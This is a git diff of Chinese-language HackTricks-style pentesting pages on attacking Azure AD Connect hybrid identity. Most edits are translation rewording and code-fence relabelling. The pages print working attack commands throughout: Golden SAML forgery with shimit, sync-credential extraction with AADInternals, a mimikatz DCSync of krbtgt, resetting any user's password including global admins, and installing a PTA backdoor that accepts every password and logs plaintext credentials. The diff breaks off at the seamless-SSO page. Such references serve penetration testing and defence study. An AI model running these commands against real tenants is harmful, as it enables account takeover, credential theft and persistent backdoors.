diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
index 151dbfe60..07b890fcc 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
@@ -9,19 +9,19 @@
- **AzureAD 用户** 需要有一个代理地址(一个 **邮箱**)
- 不需要许可证
- 应该 **尚未同步**
-```powershell
+```bash
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
```
-当在 AzureAD 中找到这样的用户时,为了 **从本地 AD 访问它**,您只需 **创建一个新帐户**,并使用 **proxyAddress** 作为 SMTP 电子邮件。
+当在 AzureAD 中找到这样的用户时,为了**从本地 AD 访问它**,您只需**创建一个新帐户**,其**proxyAddress**为 SMTP 电子邮件。
-这样,该用户将 **自动从 AzureAD 同步到本地 AD 用户**。
+这样,该用户将**自动从 AzureAD 同步到本地 AD 用户**。
> [!CAUTION]
-> 请注意,要执行此攻击,您 **不需要域管理员** 权限,您只需有 **创建新用户** 的权限。
+> 请注意,要执行此攻击,您**不需要域管理员**权限,您只需有权限**创建新用户**。
>
-> 此外,这 **不会绕过 MFA**。
+> 此外,这**不会绕过 MFA**。
>
-> 此外,有报告称 **管理员帐户的帐户同步不再可能**。
+> 此外,有报告称**管理员帐户的帐户同步不再可能**。
## References
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
index 4c87e1d2d..6593bacdc 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
@@ -6,11 +6,11 @@
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**联邦**是建立了**信任**的一组**域**。信任的级别可能有所不同,但通常包括**身份验证**,几乎总是包括**授权**。一个典型的联邦可能包括一组已建立**信任**的**组织**,以便**共享访问**一组资源。
-您可以**将本地环境与 Azure AD 联邦**,并使用此联邦进行身份验证和授权。此登录方法确保所有用户**身份验证在本地进行**。此方法允许管理员实施更严格的访问控制。与**AD FS**和 PingFederate 的联邦是可用的。
+您可以**将本地环境与 Azure AD 联邦**,并使用此联邦进行身份验证和授权。此登录方法确保所有用户**身份验证发生在本地**。此方法允许管理员实施更严格的访问控制。与**AD FS**和 PingFederate 的联邦是可用的。
-基本上,在联邦中,所有**身份验证**都发生在**本地**环境中,用户在所有受信任的环境中体验单点登录(SSO)。因此,用户可以使用其**本地凭据**访问**云**应用程序。
+基本上,在联邦中,所有**身份验证**发生在**本地**环境中,用户在所有受信任的环境中体验单点登录(SSO)。因此,用户可以使用其**本地凭据**访问**云**应用程序。
**安全断言标记语言 (SAML)** 用于在提供者之间**交换**所有身份验证和授权**信息**。
@@ -58,7 +58,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
可以与 [黄金票证攻击](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) 进行类比,其中用于验证用户身份和权限的密钥(KRBTGT 用于黄金票证,令牌签名私钥用于黄金 SAML)可以被操纵以**伪造身份验证对象**(TGT 或 SAMLResponse)。这允许冒充任何用户,授予对 SP 的未授权访问。
-黄金 SAML 提供了一些优势:
+黄金 SAML 提供某些优势:
- 它们可以**远程创建**,无需成为相关域或联邦的一部分。
- 即使启用**双因素身份验证 (2FA)**,它们仍然有效。
@@ -67,9 +67,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
#### AWS + AD FS + 黄金 SAML
-[活动目录联邦服务 (AD FS)]() 是一项 Microsoft 服务,促进受信任的商业伙伴之间的**身份信息安全交换**(联邦)。它本质上允许域服务与联邦内的其他服务提供者共享用户身份。
+[活动目录联邦服务 (AD FS)]() 是一个 Microsoft 服务,促进受信任的商业伙伴之间**身份信息的安全交换**(联邦)。它基本上允许域服务与联邦内的其他服务提供者共享用户身份。
-由于 AWS 信任被泄露的域(在联邦中),可以利用此漏洞潜在地**获取 AWS 环境中的任何权限**。该攻击需要**用于签署 SAML 对象的私钥**,类似于在黄金票证攻击中需要 KRBTGT。访问 AD FS 用户帐户足以获取此私钥。
+由于 AWS 信任被泄露的域(在联邦中),可以利用此漏洞来潜在地**获取 AWS 环境中的任何权限**。该攻击需要**用于签名 SAML 对象的私钥**,类似于在黄金票证攻击中需要 KRBTGT。访问 AD FS 用户帐户足以获取此私钥。
执行黄金 SAML 攻击的要求包括:
@@ -83,8 +83,8 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
_只有加粗的项目是强制性的。其他项目可以根据需要填写。_
-要获取**私钥**,需要访问**AD FS 用户帐户**。从那里,可以使用 [mimikatz](https://github.com/gentilkiwi/mimikatz) 等工具从个人存储中**导出私钥**。要收集其他所需信息,可以使用 Microsoft.Adfs.Powershell snapin,如下所示,确保您以 ADFS 用户身份登录:
-```powershell
+要获取**私钥**,需要访问**AD FS 用户帐户**。从那里,可以使用 [mimikatz](https://github.com/gentilkiwi/mimikatz) 等工具**从个人存储中导出私钥**。要收集其他所需信息,可以使用 Microsoft.Adfs.Powershell snapin,如下所示,确保您以 ADFS 用户身份登录:
+```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -97,7 +97,7 @@ _只有加粗的项目是强制性的。其他项目可以根据需要填写。_
# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
-通过所有信息,可以使用 [**shimit**](https://github.com/cyberark/shimit)**:** 忘记一个有效的 SAMLResponse,作为您想要冒充的用户。
+通过所有信息,可以使用 [**shimit**](https://github.com/cyberark/shimit)**** 伪装成您想要冒充的用户,忘记一个有效的 SAMLResponse:
```bash
# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
@@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
### 本地 -> 云
-```powershell
+```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray())
@@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
也可以为仅云用户创建 ImmutableID 并冒充他们。
-```powershell
+```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
index 5ec6d9f93..f4f928ff0 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
@@ -4,7 +4,7 @@
## 基本信息
-[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **密码哈希同步** 是实现混合身份的一种登录方法。**Azure AD Connect** 将用户密码的哈希值的哈希值从本地 Active Directory 实例同步到基于云的 Azure AD 实例。
+[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **密码哈希同步** 是实现混合身份的一种登录方法。 **Azure AD Connect** 将用户密码的哈希值的哈希值从本地 Active Directory 实例同步到基于云的 Azure AD 实例。
@@ -13,7 +13,7 @@
所有 **用户** 和 **密码哈希的哈希值** 都从本地同步到 Azure AD。然而,**明文密码** 或 **原始** **哈希** 不会发送到 Azure AD。\
此外,**内置** 安全组(如域管理员...)不会 **同步** 到 Azure AD。
-**哈希同步** 每 **2 分钟** 发生一次。然而,默认情况下,**密码过期** 和 **账户** **过期** 在 Azure AD 中 **不同步**。因此,**本地密码过期**(未更改)的用户可以继续使用旧密码 **访问 Azure 资源**。
+**哈希同步** 每 **2 分钟** 发生一次。然而,默认情况下,**密码过期** 和 **帐户** **过期** 在 Azure AD 中 **不同步**。因此,**本地密码已过期**(未更改)的用户可以继续使用旧密码 **访问 Azure 资源**。
当本地用户想要访问 Azure 资源时,**身份验证在 Azure AD 上进行**。
@@ -21,26 +21,26 @@
## 侧向移动
-当配置 PHS 时,一些 **特权账户** 会自动 **创建**:
+当配置 PHS 时,一些 **特权帐户** 会自动 **创建**:
-- 账户 **`MSOL_`** 会在本地 AD 中自动创建。该账户被赋予 **目录同步账户** 角色(参见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)),这意味着它在本地 AD 中具有 **复制(DCSync)权限**。
-- 账户 **`Sync__installationID`** 会在 Azure AD 中创建。该账户可以 **重置 Azure AD 中任何用户**(同步或仅云)的密码。
+- 帐户 **`MSOL_`** 会自动在本地 AD 中创建。该帐户被赋予 **目录同步帐户** 角色(请参见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)),这意味着它在本地 AD 中具有 **复制(DCSync)权限**。
+- 帐户 **`Sync__installationID`** 在 Azure AD 中创建。该帐户可以 **重置 Azure AD 中任何用户**(同步或仅云)的密码。
-前两个特权账户的密码 **存储在 SQL 服务器** 上,该服务器上安装了 **Azure AD Connect**。管理员可以以明文形式提取这些特权用户的密码。\
+前两个特权帐户的密码 **存储在 SQL 服务器** 上,该服务器是 **Azure AD Connect 安装的服务器**。管理员可以提取这些特权用户的明文密码。\
数据库位于 `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`。
可以从其中一个表中提取配置,其中一个是加密的:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
-**加密配置** 是用 **DPAPI** 加密的,包含本地 AD 中 **`MSOL_*`** 用户的 **密码** 和 AzureAD 中 **Sync\_\*** 的密码。因此,妥协这些信息可以提升到 AD 和 AzureAD 的权限。
+**加密配置** 使用 **DPAPI** 加密,包含本地 AD 中 **`MSOL_*`** 用户的 **密码** 和 AzureAD 中 **Sync\_\*** 的密码。因此,妥协这些密码可以提升到 AD 和 AzureAD 的权限。
您可以在 [此演讲中找到有关这些凭据如何存储和解密的完整概述](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
### 查找 **Azure AD Connect 服务器**
如果 **安装 Azure AD Connect 的服务器** 加入了域(文档中推荐),可以通过以下方式找到它:
-```powershell
+```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
@@ -48,7 +48,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### 滥用 MSOL\_*
-```powershell
+```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
@@ -61,8 +61,8 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
### 滥用 Sync\_\*
-妥协 **`Sync_*`** 账户可以 **重置任何用户(包括全局管理员)的密码**。
-```powershell
+妥协 **`Sync_*`** 账户可以 **重置任何用户的密码**(包括全局管理员)。
+```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
@@ -83,7 +83,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
也可以**仅修改云**用户的密码(即使这出乎意料)
-```powershell
+```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
index 57aa83e70..5442e41e1 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
@@ -4,36 +4,36 @@
## 基本信息
-[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) 通过身份验证允许您的用户使用相同的密码**登录本地和基于云的应用程序**。此功能为您的用户提供了更好的体验 - 记住一个密码更少,并且减少了 IT 帮助台的成本,因为您的用户不太可能忘记如何登录。当用户使用 Azure AD 登录时,此功能**直接验证用户的密码与您的本地 Active Directory**。
+[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) 通过身份验证允许用户使用相同的密码**登录本地和基于云的应用程序**。此功能为用户提供了更好的体验 - 记住一个密码更少,并且减少了IT帮助台的成本,因为用户不太可能忘记如何登录。当用户使用Azure AD登录时,此功能**直接验证用户的密码与本地Active Directory**。
-在 PTA 中,**身份**是**同步**的,但**密码****不是**,就像在 PHS 中一样。
+在PTA中,**身份**是**同步**的,但**密码****不是**,就像在PHS中一样。
-身份验证在本地 AD 中验证,云的通信由在**本地服务器**上运行的**身份验证代理**完成(它不需要在本地 DC 上)。
+身份验证在本地AD中进行验证,与云的通信由在**本地服务器**上运行的**身份验证代理**完成(它不需要在本地DC上)。
### 身份验证流程
1. 为了**登录**,用户被重定向到**Azure AD**,在这里他发送**用户名**和**密码**
-2. **凭据**被**加密**并放入 Azure AD 中的**队列**
-3. **本地身份验证代理**从队列中收集**凭据**并**解密**它们。这个代理被称为**“通过身份验证代理”**或**PTA 代理**。
-4. **代理**将凭据与**本地 AD**进行**验证**,并将**响应****返回**给 Azure AD,如果响应是积极的,**完成用户的登录**。
+2. **凭据**被**加密**并放入Azure AD中的**队列**
+3. **本地身份验证代理**从队列中收集**凭据**并**解密**它们。这个代理被称为**“通过身份验证代理”**或**PTA代理**。
+4. **代理**将凭据与**本地AD**进行**验证**,并将**响应****返回**给Azure AD,如果响应是积极的,**完成用户的登录**。
> [!WARNING]
> 如果攻击者**破坏**了**PTA**,他可以**查看**队列中的所有**凭据**(以**明文**形式)。\
-> 他还可以**验证任何凭据**到 AzureAD(类似于 Skeleton key 的攻击)。
+> 他还可以**验证任何凭据**到AzureAD(类似于Skeleton key的攻击)。
### 本地 -> 云
-如果您对运行**PTA** **代理**的**Azure AD Connect 服务器**具有**管理员**访问权限,您可以使用**AADInternals**模块**插入后门**,这将**验证所有输入的密码**(因此所有密码都将有效进行身份验证):
-```powershell
+如果您对运行**PTA** **代理**的**Azure AD Connect服务器**具有**管理员**访问权限,您可以使用**AADInternals**模块**插入后门**,这将**验证所有输入的密码**(因此所有密码都将有效进行身份验证):
+```bash
Install-AADIntPTASpy
```
> [!NOTE]
> 如果**安装失败**,这可能是由于缺少 [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)。
还可以使用以下 cmdlet 在安装了之前后门的机器上**查看发送到 PTA 代理的明文密码**:
-```powershell
+```bash
Get-AADIntPTASpyLog -DecodePasswords
```
这个后门将会:
@@ -52,7 +52,7 @@ Get-AADIntPTASpyLog -DecodePasswords
### 无缝 SSO
-可以使用 PTA 的无缝 SSO,这对其他滥用是脆弱的。请查看:
+可以使用无缝 SSO 与 PTA,这对其他滥用是脆弱的。请查看:
{{#ref}}
seamless-sso.md
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
index 7c83e8fe5..56c488143 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
@@ -8,20 +8,20 @@